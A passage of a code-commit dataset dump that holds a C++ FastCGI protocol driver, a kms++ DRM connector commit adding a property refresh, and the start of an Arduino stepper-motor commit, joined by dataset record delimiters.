<stdio.h>\n#ifndef _WIN32\n#include <memory.h>\n#endif\n\ntypedef unsigned char uint8_t;\ntypedef unsigned short uint16_t;\ntypedef unsigned int uint32_t;\n\nenum message_type_t\n { TYPE_BEGIN_REQUEST = 1\n , TYPE_ABORT_REQUEST = 2\n , TYPE_END_REQUEST = 3\n , TYPE_PARAMS = 4\n , TYPE_STDIN = 5\n , TYPE_STDOUT = 6\n , TYPE_STDERR = 7\n , TYPE_DATA = 8\n , TYPE_GET_VALUES = 9\n , TYPE_GET_VALUES_RESULT = 10\n , TYPE_UNKNOWN = 11\n };\n\nstruct Header\n{\n uint8_t version;\n uint8_t type;\n uint8_t requestIdB1;\n uint8_t requestIdB0;\n uint8_t contentLengthB1;\n uint8_t contentLengthB0;\n uint8_t paddingLength;\n uint8_t reserved;\n\n Header()\n {\n memset(this, 0, sizeof(*this));\n }\n\n Header(message_type_t t, uint16_t id, uint16_t len)\n : version(1), type(t)\n , requestIdB1(id >> 8)\n , requestIdB0(id & 0xff)\n , contentLengthB1(len >> 8)\n , contentLengthB0(len & 0xff)\n , paddingLength(0), reserved(0)\n {\n }\n};\n\nstruct BeginRequest\n{\n uint8_t roleB1;\n uint8_t roleB0;\n uint8_t flags;\n uint8_t reserved[5];\n};\n\nstatic uint8_t const FLAG_KEEP_CONN = 1;\n\nstruct EndRequestMsg : public Header\n{\n uint8_t appStatusB3;\n uint8_t appStatusB2;\n uint8_t appStatusB1;\n uint8_t appStatusB0;\n uint8_t protocolStatus;\n uint8_t reserved[3];\n\n EndRequestMsg()\n {\n memset(this, 0, sizeof(*this));\n }\n\n EndRequestMsg(uint16_t id, uint32_t appStatus, FCGIRequest::protocol_status_t protStatus)\n : Header(TYPE_END_REQUEST, id, sizeof(EndRequestMsg)-sizeof(Header))\n , appStatusB3((appStatus >> 24) & 0xff)\n , appStatusB2((appStatus >> 16) & 0xff)\n , appStatusB1((appStatus >> 8) & 0xff)\n , appStatusB0((appStatus >> 0) & 0xff)\n , protocolStatus(protStatus)\n {\n memset(this->reserved, 0, sizeof(this->reserved));\n }\n};\n\nstruct UnknownTypeMsg : public Header\n{\n uint8_t type;\n uint8_t reserved[7];\n\n UnknownTypeMsg()\n {\n memset(this, 0, sizeof(*this));\n }\n\n UnknownTypeMsg(uint8_t unknown_type)\n : Header(TYPE_UNKNOWN, 0, sizeof(UnknownTypeMsg) - sizeof(Header))\n , type(unknown_type)\n {\n memset(this->reserved, 0, sizeof(this->reserved));\n }\n};\n\nvoid FCGIProtocolDriver::process_unknown(uint8_t type)\n{\n UnknownTypeMsg msg(type);\n output_cb(&msg, sizeof(UnknownTypeMsg));\n}\n\nvoid FCGIProtocolDriver::process_begin_request(uint16_t id, uint8_t const * buf, uint16_t)\n{\n \/\/ Check whether we have an open request with that id already and\n \/\/ if, throw an exception.\n\n if (reqmap.find(id) != reqmap.end())\n {\n char tmp[256];\n#ifdef _WIN32\n\tsprintf_s(tmp, \"FCGIProtocolDriver received duplicate BEGIN_REQUEST id %u.\", id);\n#else\n sprintf(tmp, \"FCGIProtocolDriver received duplicate BEGIN_REQUEST id %u.\", id);\n#endif\n throw duplicate_begin_request(tmp);\n }\n\n \/\/ Create a new request instance and store it away. The user may\n \/\/ get it after we've read all parameters.\n\n BeginRequest const * br = reinterpret_cast<BeginRequest const *>(buf);\n reqmap[id] = new FCGIRequest(*this, id,\n FCGIRequest::role_t((br->roleB1 << 8) + br->roleB0),\n (br->flags & FLAG_KEEP_CONN) == 1);\n}\n\nvoid FCGIProtocolDriver::process_abort_request(uint16_t id, uint8_t const *, uint16_t)\n{\n \/\/ Find request instance for this id. Ignore message if non\n \/\/ exists, set ignore flag otherwise.\n\n reqmap_t::iterator req = reqmap.find(id);\n if (req == reqmap.end())\n std::cerr << \"FCGIProtocolDriver received ABORT_REQUEST for non-existing id \" << id << \". Ignoring.\"\n << std::endl;\n else\n {\n req->second->aborted = true;\n if (req->second->handler_cb) \/\/ Notify the handler associated with this request.\n (*req->second->handler_cb)(req->second);\n }\n}\n\nvoid FCGIProtocolDriver::process_params(uint16_t id, uint8_t const * buf, uint16_t len)\n{\n \/\/ Find request instance for this id. Ignore message if non\n \/\/ exists.\n\n reqmap_t::iterator req = reqmap.find(id);\n if (req == reqmap.end())\n {\n std::cerr << \"FCGIProtocolDriver received PARAMS for non-existing id \" << id << \". Ignoring.\"\n << std::endl;\n return;\n }\n\n \/\/ Is this the last message to come? Then queue the request for\n \/\/ the user.\n\n if (len == 0)\n {\n new_request_queue.push(id);\n return;\n }\n\n \/\/ Process message.\n\n uint8_t const * const bufend(buf + len);\n uint32_t name_len;\n uint32_t data_len;\n while(buf != bufend)\n {\n\t if (*buf >> 7 == 0)\n\t\t name_len = *(buf++);\n\t else if (4 <= bufend - buf)\n\t {\n\t\t name_len = ((buf[0] & 0x7F) << 24) + (buf[1] << 16) + (buf[2] << 8) + buf[3];\n\t\t buf += 4;\n\t }\n\t else\n\t\t break;\n\n\t if (*buf >> 7 == 0)\n\t\t data_len = *(buf++);\n\t else if (4 <= bufend - buf)\n\t {\n\t\t data_len = ((buf[0] & 0x7F) << 24) + (buf[1] << 16) + (buf[2] << 8) + buf[3];\n\t\t buf += 4;\n\t }\n\t else\n\t\t break;\n\n\t if (name_len + data_len <= bufend - buf)\n\t {\n\t\t std::string const name(reinterpret_cast<char const *>(buf), name_len);\n\t\t buf += name_len;\n\t\t std::string const data(reinterpret_cast<char const *>(buf), data_len);\n\t\t buf += data_len;\n#ifdef DEBUG_FASTCGI\n\t\t std::cerr << \"request #\" << id << \": FCGIProtocolDriver received PARAM '\" << name << \"' = '\" << data << \"'\"\n\t\t\t << std::endl;\n#endif\n\t\t req->second->params[name] = data;\n\t }\n\t else\n\t {\n\t\t break;\n\t }\n }\n}\n\nvoid FCGIProtocolDriver::process_stdin(uint16_t id, uint8_t const * buf, uint16_t len)\n{\n \/\/ Find request instance for this id. Ignore message if non\n \/\/ exists.\n\n reqmap_t::iterator req = reqmap.find(id);\n if (req == reqmap.end())\n {\n std::cerr << \"FCGIProtocolDriver received STDIN for non-existing id \" << id << \". Ignoring.\"\n << std::endl;\n return;\n }\n\n \/\/ Is this the last message to come? Then set the eof flag.\n \/\/ Otherwise, add the data to the buffer in the request structure.\n\n if (len == 0)\n req->second->stdin_eof = true;\n else\n req->second->stdin_stream.append((char const *)buf, len);\n\n \/\/ Notify the handler associated with this request.\n\n if (req->second->handler_cb)\n (*req->second->handler_cb)(req->second);\n}\n\nFCGIProtocolDriver::FCGIProtocolDriver(OutputCallback& cb) : output_cb(cb)\n{\n}\n\nFCGIProtocolDriver::~FCGIProtocolDriver()\n{\n for(reqmap_t::iterator i = reqmap.begin(); i != reqmap.end(); ++i)\n {\n delete i->second;\n }\n}\n\nvoid FCGIProtocolDriver::process_input(void const * buf, size_t count)\n{\n \/\/ Copy data to our own buffer.\n\n InputBuffer.insert( InputBuffer.end()\n , static_cast<uint8_t const *>(buf)\n , static_cast<uint8_t const *>(buf) + count\n );\n\n \/\/ If there is enough data in the input buffer to contain a\n \/\/ header, interpret it.\n\n while(InputBuffer.size() >= sizeof(Header))\n {\n Header const * hp = reinterpret_cast<Header const *>(&InputBuffer[0]);\n\n \/\/ Check whether our peer speaks the correct protocol version.\n\n if (hp->version != 1)\n {\n char buf[256];\n#ifdef _WIN32\n sprintf_s(buf, \"FCGIProtocolDriver cannot handle protocol version %u.\", hp->version);\n#else\n\t sprintf(buf, \"FCGIProtocolDriver cannot handle protocol version %u.\", hp->version);\n#endif\n throw unsupported_fcgi_version(buf);\n }\n\n \/\/ Check whether we have the whole message that follows the\n \/\/ headers in our buffer already. If not, we can't process it\n \/\/ yet.\n\n uint16_t msg_len = (hp->contentLengthB1 << 8) + hp->contentLengthB0;\n uint16_t msg_id = (hp->requestIdB1 << 8) + hp->requestIdB0;\n\n if (InputBuffer.size() < sizeof(Header)+msg_len+hp->paddingLength)\n return;\n\n \/\/ Process the message. In case an exception arrives here,\n \/\/ terminate the request.\n\n try\n {\n#ifdef DEBUG_FASTCGI\n std::cerr << \"Received message: id = \" << msg_id << \", \"\n << \"body len = \" << msg_len << \", \"\n << \"type = \" << (int)hp->type << std::endl;\n#endif\n switch (hp->type)\n {\n case TYPE_BEGIN_REQUEST:\n process_begin_request(msg_id, &InputBuffer[0]+sizeof(Header), msg_len);\n break;\n\n case TYPE_ABORT_REQUEST:\n process_abort_request(msg_id, &InputBuffer[0]+sizeof(Header), msg_len);\n break;\n\n case TYPE_PARAMS:\n process_params(msg_id, &InputBuffer[0]+sizeof(Header), msg_len);\n break;\n\n case TYPE_STDIN:\n process_stdin(msg_id, &InputBuffer[0]+sizeof(Header), msg_len);\n break;\n\n case TYPE_END_REQUEST:\n case TYPE_STDOUT:\n case TYPE_STDERR:\n case TYPE_DATA:\n case TYPE_GET_VALUES:\n case TYPE_GET_VALUES_RESULT:\n case TYPE_UNKNOWN:\n default:\n process_unknown(hp->type);\n }\n }\n catch(fcgi_io_callback_error const &)\n {\n throw;\n }\n catch(std::exception const & e)\n {\n std::cerr << \"Caught exception while processing request #\" << msg_id << \": \" << e.what() << std::endl;\n terminate_request(msg_id);\n }\n catch(...)\n {\n std::cerr << \"Caught unknown exception while processing request #\" << msg_id << \".\" << std::endl;\n terminate_request(msg_id);\n }\n\n \/\/ Remove the message from our buffer and contine processing\n \/\/ if there if something left.\n\n InputBuffer.erase( InputBuffer.begin()\n , InputBuffer.begin()+sizeof(Header)+msg_len+hp->paddingLength\n );\n }\n}\n\nFCGIRequest* FCGIProtocolDriver::get_request()\n{\n if (new_request_queue.empty())\n return 0;\n\n FCGIRequest* r = reqmap[new_request_queue.front()];\n new_request_queue.pop();\n return r;\n}\n\nbool FCGIProtocolDriver::have_active_requests()\n{\n if (new_request_queue.empty() && reqmap.empty())\n return false;\n else\n return true;\n}\n\nvoid FCGIProtocolDriver::terminate_request(uint16_t id)\n{\n reqmap_t::iterator req;\n req = reqmap.find(id);\n if (req != reqmap.end())\n {\n delete req->second;\n reqmap.erase(req);\n }\n}\n\n\/\/ Pure virtual destructors must also exist somewhere.\n\nFCGIProtocolDriver::OutputCallback::~OutputCallback()\n{\n}\n\nFCGIRequest::FCGIRequest(FCGIProtocolDriver& driver_, uint16_t id_, role_t role_, bool kc)\n : id(id_), role(role_), keep_connection(kc), aborted(false), stdin_eof(false)\n , data_eof(false), handler_cb(0), driver(driver_)\n{\n}\n\nFCGIRequest::~FCGIRequest()\n{\n if (handler_cb)\n delete handler_cb;\n}\n\nvoid FCGIRequest::write(const std::string& buf, ostream_type_t stream)\n{\n write(buf.data(), buf.size(), stream);\n}\n\nvoid FCGIRequest::write(char const * buf, size_t count, ostream_type_t stream)\n{\n if (count > 0xffff)\n throw std::out_of_range(\"Can't send messages of that size.\");\n else if (count == 0)\n return;\n\n \/\/ Construct message.\n\n Header h(stream == STDOUT ? TYPE_STDOUT : TYPE_STDERR, id, (uint16_t)count);\n driver.output_cb(&h, sizeof(Header));\n driver.output_cb(buf, count);\n}\n\nvoid FCGIRequest::write(const std::string &tw)\n{\n\twrite(tw.data(), tw.size(), STDOUT);\n}\n\nvoid FCGIRequest::end_request(uint32_t appStatus, FCGIRequest::protocol_status_t protStatus)\n{\n \/\/ Terminate the stdout and stderr stream, and send the\n \/\/ end-request message.\n\n uint8_t buf[64];\n uint8_t * p = buf;\n\n new(p) Header(TYPE_STDOUT, id, 0);\n p += sizeof(Header);\n new(p) Header(TYPE_STDERR, id, 0);\n p += sizeof(Header);\n new(p) EndRequestMsg(id, appStatus, protStatus);\n p += sizeof(EndRequestMsg);\n driver.output_cb(buf, p - buf);\n driver.terminate_request(id);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include <iostream>\n#include <unistd.h>\n#include <fcntl.h>\n#include <cassert>\n\n#include \"kms++.h\"\n#include \"helpers.h\"\n\nusing namespace std;\n\nnamespace kms\n{\n\n\nstatic const map<int, string> connector_names = {\n\t{ DRM_MODE_CONNECTOR_Unknown, \"Unknown\" },\n\t{ DRM_MODE_CONNECTOR_VGA, \"VGA\" },\n\t{ DRM_MODE_CONNECTOR_DVII, \"DVI-I\" },\n\t{ DRM_MODE_CONNECTOR_DVID, \"DVI-D\" },\n\t{ DRM_MODE_CONNECTOR_DVIA, \"DVI-A\" },\n\t{ DRM_MODE_CONNECTOR_Composite, \"Composite\" },\n\t{ DRM_MODE_CONNECTOR_SVIDEO, \"S-Video\" },\n\t{ DRM_MODE_CONNECTOR_LVDS, \"LVDS\" },\n\t{ DRM_MODE_CONNECTOR_Component, \"Component\" },\n\t{ DRM_MODE_CONNECTOR_9PinDIN, \"9-Pin-DIN\" },\n\t{ DRM_MODE_CONNECTOR_DisplayPort, \"DP\" },\n\t{ DRM_MODE_CONNECTOR_HDMIA, \"HDMI-A\" },\n\t{ DRM_MODE_CONNECTOR_HDMIB, \"HDMI-B\" },\n\t{ DRM_MODE_CONNECTOR_TV, \"TV\" },\n\t{ DRM_MODE_CONNECTOR_eDP, \"eDP\" },\n\t{ DRM_MODE_CONNECTOR_VIRTUAL, \"Virtual\" },\n\t{ DRM_MODE_CONNECTOR_DSI, \"DSI\" },\n};\n\nstatic const map<int, string> connection_str = {\n\t{ 0, \"<unknown>\" },\n\t{ DRM_MODE_CONNECTED, \"Connected\" },\n\t{ DRM_MODE_DISCONNECTED, \"Disconnected\" },\n\t{ DRM_MODE_UNKNOWNCONNECTION, \"Unknown\" },\n};\n\nstatic const map<int, string> subpix_str = {\n#define DEF_SUBPIX(c) { DRM_MODE_SUBPIXEL_##c, #c }\n\tDEF_SUBPIX(UNKNOWN),\n\tDEF_SUBPIX(HORIZONTAL_RGB),\n\tDEF_SUBPIX(HORIZONTAL_BGR),\n\tDEF_SUBPIX(VERTICAL_RGB),\n\tDEF_SUBPIX(VERTICAL_BGR),\n\tDEF_SUBPIX(NONE),\n#undef DEF_SUBPIX\n};\n\nstruct ConnectorPriv\n{\n\tdrmModeConnectorPtr drm_connector;\n};\n\nConnector::Connector(Card &card, uint32_t id, uint32_t idx)\n\t:DrmPropObject(card, id, DRM_MODE_OBJECT_CONNECTOR, idx)\n{\n\tm_priv = new ConnectorPriv();\n\n\tm_priv->drm_connector = drmModeGetConnector(this->card().fd(), this->id());\n\tassert(m_priv->drm_connector);\n\n\tconst auto& name = connector_names.at(m_priv->drm_connector->connector_type);\n\tm_fullname = name + \"-\" + to_string(m_priv->drm_connector->connector_type_id);\n}\n\n\nConnector::~Connector()\n{\n\tdrmModeFreeConnector(m_priv->drm_connector);\n\tdelete m_priv;\n}\n\nvoid Connector::setup()\n{\n\tif (m_priv->drm_connector->encoder_id != 0)\n\t\tm_current_encoder = card().get_encoder(m_priv->drm_connector->encoder_id);\n\telse\n\t\tm_current_encoder = 0;\n\n\tif (m_current_encoder)\n\t\tm_saved_crtc = m_current_encoder->get_crtc();\n\telse\n\t\tm_saved_crtc = 0;\n}\n\nvoid Connector::restore_mode()\n{\n\tif (m_saved_crtc)\n\t\tm_saved_crtc->restore_mode(this);\n}\n\nVideomode Connector::get_default_mode() const\n{\n\tif (m_priv->drm_connector->count_modes == 0)\n\t\tthrow invalid_argument(\"no modes available\\n\");\n\tdrmModeModeInfo drmmode = m_priv->drm_connector->modes[0];\n\n\treturn drm_mode_to_video_mode(drmmode);\n}\n\nVideomode Connector::get_mode(const string& mode) const\n{\n\tauto c = m_priv->drm_connector;\n\n\tfor (int i = 0; i < c->count_modes; i++)\n if (mode == c->modes[i].name)\n return drm_mode_to_video_mode(c->modes[i]);\n\n throw invalid_argument(mode + \": mode not found\");\n}\n\nVideomode Connector::get_mode(unsigned xres, unsigned yres, unsigned refresh, bool ilace) const\n{\n\tauto c = m_priv->drm_connector;\n\n\tfor (int i = 0; i < c->count_modes; i++) {\n\t\tdrmModeModeInfo& m = c->modes[i];\n\n\t\tif (m.hdisplay != xres || m.vdisplay != yres)\n\t\t\tcontinue;\n\n\t\tif (refresh && m.vrefresh != refresh)\n\t\t\tcontinue;\n\n\t\tif (ilace != !!(m.flags & DRM_MODE_FLAG_INTERLACE))\n\t\t\tcontinue;\n\n\t\treturn drm_mode_to_video_mode(c->modes[i]);\n\t}\n\n\tthrow invalid_argument(\"mode not found\");\n}\n\nbool Connector::connected() const\n{\n\treturn m_priv->drm_connector->connection == DRM_MODE_CONNECTED ||\n\t\t\tm_priv->drm_connector->connection == DRM_MODE_UNKNOWNCONNECTION;\n}\n\nvector<Crtc*> Connector::get_possible_crtcs() const\n{\n\tvector<Crtc*> crtcs;\n\n\tfor (int i = 0; i < m_priv->drm_connector->count_encoders; ++i) {\n\t\tauto enc = card().get_encoder(m_priv->drm_connector->encoders[i]);\n\n\t\tauto l = enc->get_possible_crtcs();\n\n\t\tcrtcs.insert(crtcs.end(), l.begin(), l.end());\n\t}\n\n\treturn crtcs;\n}\n\nCrtc* Connector::get_current_crtc() const\n{\n\tif (m_current_encoder)\n\t\treturn m_current_encoder->get_crtc();\n\telse\n\t\treturn 0;\n}\n\nuint32_t Connector::connector_type() const\n{\n\treturn m_priv->drm_connector->connector_type;\n}\n\nuint32_t Connector::connector_type_id() const\n{\n\treturn m_priv->drm_connector->connector_type_id;\n}\n\nuint32_t Connector::mmWidth() const\n{\n\treturn m_priv->drm_connector->mmWidth;\n}\n\nuint32_t Connector::mmHeight() const\n{\n\treturn m_priv->drm_connector->mmHeight;\n}\n\nuint32_t Connector::subpixel() const\n{\n\treturn m_priv->drm_connector->subpixel;\n}\n\nconst string& Connector::subpixel_str() const\n{\n\treturn subpix_str.at(subpixel());\n}\n\nstd::vector<Videomode> Connector::get_modes() const\n{\n\tvector<Videomode> modes;\n\n\tfor (int i = 0; i < m_priv->drm_connector->count_modes; i++)\n\t\tmodes.push_back(drm_mode_to_video_mode(\n\t\t\t\t\tm_priv->drm_connector->modes[i]));\n\n\treturn modes;\n}\n\nstd::vector<Encoder*> Connector::get_encoders() const\n{\n\tvector<Encoder*> encoders;\n\n\tfor (int i = 0; i < m_priv->drm_connector->count_encoders; i++) {\n\t\tauto enc = card().get_encoder(m_priv->drm_connector->encoders[i]);\n\t\tencoders.push_back(enc);\n\t}\n\treturn encoders;\n}\n\n}\n<commit_msg>Connector: hack fix EDID blob ID<commit_after>#include <stdio.h>\n#include <iostream>\n#include <unistd.h>\n#include <fcntl.h>\n#include <cassert>\n\n#include \"kms++.h\"\n#include \"helpers.h\"\n\nusing namespace std;\n\nnamespace kms\n{\n\n\nstatic const map<int, string> connector_names = {\n\t{ DRM_MODE_CONNECTOR_Unknown, \"Unknown\" },\n\t{ DRM_MODE_CONNECTOR_VGA, \"VGA\" },\n\t{ DRM_MODE_CONNECTOR_DVII, \"DVI-I\" },\n\t{ DRM_MODE_CONNECTOR_DVID, \"DVI-D\" },\n\t{ DRM_MODE_CONNECTOR_DVIA, \"DVI-A\" },\n\t{ DRM_MODE_CONNECTOR_Composite, \"Composite\" },\n\t{ DRM_MODE_CONNECTOR_SVIDEO, \"S-Video\" },\n\t{ DRM_MODE_CONNECTOR_LVDS, \"LVDS\" },\n\t{ DRM_MODE_CONNECTOR_Component, \"Component\" },\n\t{ DRM_MODE_CONNECTOR_9PinDIN, \"9-Pin-DIN\" },\n\t{ DRM_MODE_CONNECTOR_DisplayPort, \"DP\" },\n\t{ DRM_MODE_CONNECTOR_HDMIA, \"HDMI-A\" },\n\t{ DRM_MODE_CONNECTOR_HDMIB, \"HDMI-B\" },\n\t{ DRM_MODE_CONNECTOR_TV, \"TV\" },\n\t{ DRM_MODE_CONNECTOR_eDP, \"eDP\" },\n\t{ DRM_MODE_CONNECTOR_VIRTUAL, \"Virtual\" },\n\t{ DRM_MODE_CONNECTOR_DSI, \"DSI\" },\n};\n\nstatic const map<int, string> connection_str = {\n\t{ 0, \"<unknown>\" },\n\t{ DRM_MODE_CONNECTED, \"Connected\" },\n\t{ DRM_MODE_DISCONNECTED, \"Disconnected\" },\n\t{ DRM_MODE_UNKNOWNCONNECTION, \"Unknown\" },\n};\n\nstatic const map<int, string> subpix_str = {\n#define DEF_SUBPIX(c) { DRM_MODE_SUBPIXEL_##c, #c }\n\tDEF_SUBPIX(UNKNOWN),\n\tDEF_SUBPIX(HORIZONTAL_RGB),\n\tDEF_SUBPIX(HORIZONTAL_BGR),\n\tDEF_SUBPIX(VERTICAL_RGB),\n\tDEF_SUBPIX(VERTICAL_BGR),\n\tDEF_SUBPIX(NONE),\n#undef DEF_SUBPIX\n};\n\nstruct ConnectorPriv\n{\n\tdrmModeConnectorPtr drm_connector;\n};\n\nConnector::Connector(Card &card, uint32_t id, uint32_t idx)\n\t:DrmPropObject(card, id, DRM_MODE_OBJECT_CONNECTOR, idx)\n{\n\tm_priv = new ConnectorPriv();\n\n\tm_priv->drm_connector = drmModeGetConnector(this->card().fd(), this->id());\n\tassert(m_priv->drm_connector);\n\n\t\/\/ XXX drmModeGetConnector() does forced probe, which seems to change (at least) EDID blob id.\n\t\/\/ XXX So refresh the props again here.\n\trefresh_props();\n\n\tconst auto& name = connector_names.at(m_priv->drm_connector->connector_type);\n\tm_fullname = name + \"-\" + to_string(m_priv->drm_connector->connector_type_id);\n}\n\n\nConnector::~Connector()\n{\n\tdrmModeFreeConnector(m_priv->drm_connector);\n\tdelete m_priv;\n}\n\nvoid Connector::setup()\n{\n\tif (m_priv->drm_connector->encoder_id != 0)\n\t\tm_current_encoder = card().get_encoder(m_priv->drm_connector->encoder_id);\n\telse\n\t\tm_current_encoder = 0;\n\n\tif (m_current_encoder)\n\t\tm_saved_crtc = m_current_encoder->get_crtc();\n\telse\n\t\tm_saved_crtc = 0;\n}\n\nvoid Connector::restore_mode()\n{\n\tif (m_saved_crtc)\n\t\tm_saved_crtc->restore_mode(this);\n}\n\nVideomode Connector::get_default_mode() const\n{\n\tif (m_priv->drm_connector->count_modes == 0)\n\t\tthrow invalid_argument(\"no modes available\\n\");\n\tdrmModeModeInfo drmmode = m_priv->drm_connector->modes[0];\n\n\treturn drm_mode_to_video_mode(drmmode);\n}\n\nVideomode Connector::get_mode(const string& mode) const\n{\n\tauto c = m_priv->drm_connector;\n\n\tfor (int i = 0; i < c->count_modes; i++)\n if (mode == c->modes[i].name)\n return drm_mode_to_video_mode(c->modes[i]);\n\n throw invalid_argument(mode + \": mode not found\");\n}\n\nVideomode Connector::get_mode(unsigned xres, unsigned yres, unsigned refresh, bool ilace) const\n{\n\tauto c = m_priv->drm_connector;\n\n\tfor (int i = 0; i < c->count_modes; i++) {\n\t\tdrmModeModeInfo& m = c->modes[i];\n\n\t\tif (m.hdisplay != xres || m.vdisplay != yres)\n\t\t\tcontinue;\n\n\t\tif (refresh && m.vrefresh != refresh)\n\t\t\tcontinue;\n\n\t\tif (ilace != !!(m.flags & DRM_MODE_FLAG_INTERLACE))\n\t\t\tcontinue;\n\n\t\treturn drm_mode_to_video_mode(c->modes[i]);\n\t}\n\n\tthrow invalid_argument(\"mode not found\");\n}\n\nbool Connector::connected() const\n{\n\treturn m_priv->drm_connector->connection == DRM_MODE_CONNECTED ||\n\t\t\tm_priv->drm_connector->connection == DRM_MODE_UNKNOWNCONNECTION;\n}\n\nvector<Crtc*> Connector::get_possible_crtcs() const\n{\n\tvector<Crtc*> crtcs;\n\n\tfor (int i = 0; i < m_priv->drm_connector->count_encoders; ++i) {\n\t\tauto enc = card().get_encoder(m_priv->drm_connector->encoders[i]);\n\n\t\tauto l = enc->get_possible_crtcs();\n\n\t\tcrtcs.insert(crtcs.end(), l.begin(), l.end());\n\t}\n\n\treturn crtcs;\n}\n\nCrtc* Connector::get_current_crtc() const\n{\n\tif (m_current_encoder)\n\t\treturn m_current_encoder->get_crtc();\n\telse\n\t\treturn 0;\n}\n\nuint32_t Connector::connector_type() const\n{\n\treturn m_priv->drm_connector->connector_type;\n}\n\nuint32_t Connector::connector_type_id() const\n{\n\treturn m_priv->drm_connector->connector_type_id;\n}\n\nuint32_t Connector::mmWidth() const\n{\n\treturn m_priv->drm_connector->mmWidth;\n}\n\nuint32_t Connector::mmHeight() const\n{\n\treturn m_priv->drm_connector->mmHeight;\n}\n\nuint32_t Connector::subpixel() const\n{\n\treturn m_priv->drm_connector->subpixel;\n}\n\nconst string& Connector::subpixel_str() const\n{\n\treturn subpix_str.at(subpixel());\n}\n\nstd::vector<Videomode> Connector::get_modes() const\n{\n\tvector<Videomode> modes;\n\n\tfor (int i = 0; i < m_priv->drm_connector->count_modes; i++)\n\t\tmodes.push_back(drm_mode_to_video_mode(\n\t\t\t\t\tm_priv->drm_connector->modes[i]));\n\n\treturn modes;\n}\n\nstd::vector<Encoder*> Connector::get_encoders() const\n{\n\tvector<Encoder*> encoders;\n\n\tfor (int i = 0; i < m_priv->drm_connector->count_encoders; i++) {\n\t\tauto enc = card().get_encoder(m_priv->drm_connector->encoders[i]);\n\t\tencoders.push_back(enc);\n\t}\n\treturn encoders;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\n#include \"troymotor.h\"\nconst int emptyQueue =-32767;\n\nTroyMotor::TroyMotor(int pin1,int pin2){\n init(pin1,pin2);\n}\n\nvoid TroyMotor::init(int pin1,int pin2){\n\n _status=0;\n _currentStep=0;\n _goToStep=0;\n _position=false;\n _counter=0;\n _isReset=true;\n _direction=1;\n _pin=pin1;\n pinMode(pin1,OUTPUT);\n _pin2=pin2;\n pinMode(pin2,OUTPUT);\n \n \/\/init queue\n _queueSize=3;\n _gotoArray= new int[_queueSize];\/\/max assigned step\n for(int i=0;i<_queueSize;i++){\n _gotoArray[i]=0;\n }\n _queueTail=-1;\n}\n\nvoid TroyMotor::pushToStepQueue(int stepCount){\n if(_queueTail>=_queueSize){\n Serial.println(\"queue is full\");\n }else{\n _gotoArray[++_queueTail]=stepCount;\n }\n}\n\nint TroyMotor::popToStepQueue(){\n\n if(_queueTail==-1){\n return emptyQueue;\n }\n int ret = _gotoArray[0];\n for(int i=0;i<_queueTail;i++){\n _gotoArray[i]=_gotoArray[i+1];\n }\n _queueTail--;\n return ret;\n}\n\nvoid TroyMotor::goToStep(int stepCount ){\n _goToStep=stepCount;\n if(stepCount>0){\n _direction=1;\n }\n else{\n _direction=-1;\n }\n}\n\nvoid TroyMotor::setStatus(int status){\n _status=status; \n}\nint TroyMotor::getStatus(){\n return _status;\n}\n\nvoid TroyMotor::singleRun(){\n high();\n delay(50);\n low();\n Serial.println(\"singleRun\");\n}\n\nvoid TroyMotor::step(){\n if(_counter==3){\n _currentStep+=_direction;\n _counter=0;\n }\n#ifdef __DEBUG__ \n Serial.print(\"currentStep=\");\n Serial.println(_currentStep);\n Serial.print(\"goToStep=\");\n Serial.println(_goToStep);\n#endif \n if(_currentStep==_goToStep){\n _status=0;\n _counter=0;\n \/\/check next run\n \n int nextStep = popToStepQueue();\n if(nextStep != emptyQueue ){\n goToStep(nextStep);\n _status=1;\n }\n return;\n }\n char ret[100];\n#ifdef __DEBUG__\n sprintf(ret,\"currentStep:%d,gotostep:%d\",_currentStep,_goToStep);\n Serial.println(ret);\n#endif\n\n if(_position){\n low();\n _position=false;\n _counter++;\n }\n else{\n high();\n _position=true;\n _counter++;\n }\n}\n\nvoid TroyMotor::run(){\n if(_isReset){\n step();\n }\n else{\n\n reseting();\n }\n\n\n}\n\nvoid TroyMotor::high(){\n if(_direction>0){\n digitalWrite(_pin,HIGH);\n }\n else{\n digitalWrite(_pin2,HIGH);\n }\n\n}\nvoid TroyMotor::low(){\n if(_direction>0){\n digitalWrite(_pin,LOW);\n }\n else{\n digitalWrite(_pin2,LOW);\n }\n}\nvoid TroyMotor::reseting(){\n int val = analogRead(5);\n if(val==0){\n Serial.print(\"reset step\");\n Serial.println(_currentStep);\n\n _isReset=true;\n _currentStep=0;\n _position=false;\n _counter=0;\n _status=0;\n\n }\n else{\n step();\n }\n}\n\nvoid TroyMotor::reset(){\n _isReset=false;\n _status=1;\n _goToStep=3000; \/\/ give hung steps\n}\n\n\n\n\n\n\n<commit_msg>fix bug: reseting method dont reset _goToStep<commit_after>\n#include \"troymotor.h\"\nconst int emptyQueue =-32767;\n#define __DEBUG__\nTroyMotor::TroyMotor(int pin1,int pin2){\n init(pin1,pin2);\n}\n\nvoid TroyMotor::init(int pin1,int pin2){\n\n _status=0;\n _currentStep=0;\n _goToStep=0;\n _position=false;\n _counter=0;\n _isReset=true;\n _direction=1;\n _pin=pin1;\n pinMode(pin1,OUTPUT);\n _pin2=pin2;\n pinMode(pin2,OUTPUT);\n \n \/\/init queue\n _queueSize=3;\n _gotoArray= new int[_queueSize];\/\/max assigned step\n for(int i=0;i<_queueSize;i++){\n _gotoArray[i]=0;\n }\n _queueTail=-1;\n}\n\nvoid TroyMotor::pushToStepQueue(int stepCount){\n if(_queueTail>=_queueSize){\n Serial.println(\"queue is full\");\n }else{\n _gotoArray[++_queueTail]=stepCount;\n }\n}\n\nint TroyMotor::popToStepQueue(){\n\n if(_queueTail==-1){\n return emptyQueue;\n }\n int ret = _gotoArray[0];\n for(int i=0;i<_queueTail;i++){\n _gotoArray[i]=_gotoArray[i+1];\n }\n _queueTail--;\n return ret;\n}\n\nvoid TroyMotor::goToStep(int stepCount ){\n _goToStep=stepCount;\n if(stepCount>0){\n _direction=1;\n }\n else{\n _direction=-1;\n }\n}\n\nvoid TroyMotor::setStatus(int status){\n _status=status; \n}\nint TroyMotor::getStatus(){\n return _status;\n}\n\nvoid TroyMotor::singleRun(){\n high();\n delay(50);\n low();\n Serial.println(\"singleRun\");\n}\n\nvoid TroyMotor::step(){\n if(_counter==3){\n _currentStep+=_direction;\n _counter=0;\n }\n#ifdef __DEBUG__ \n Serial.print(\"currentStep=\");\n Serial.println(_currentStep);\n Serial.print(\"goToStep=\");\n 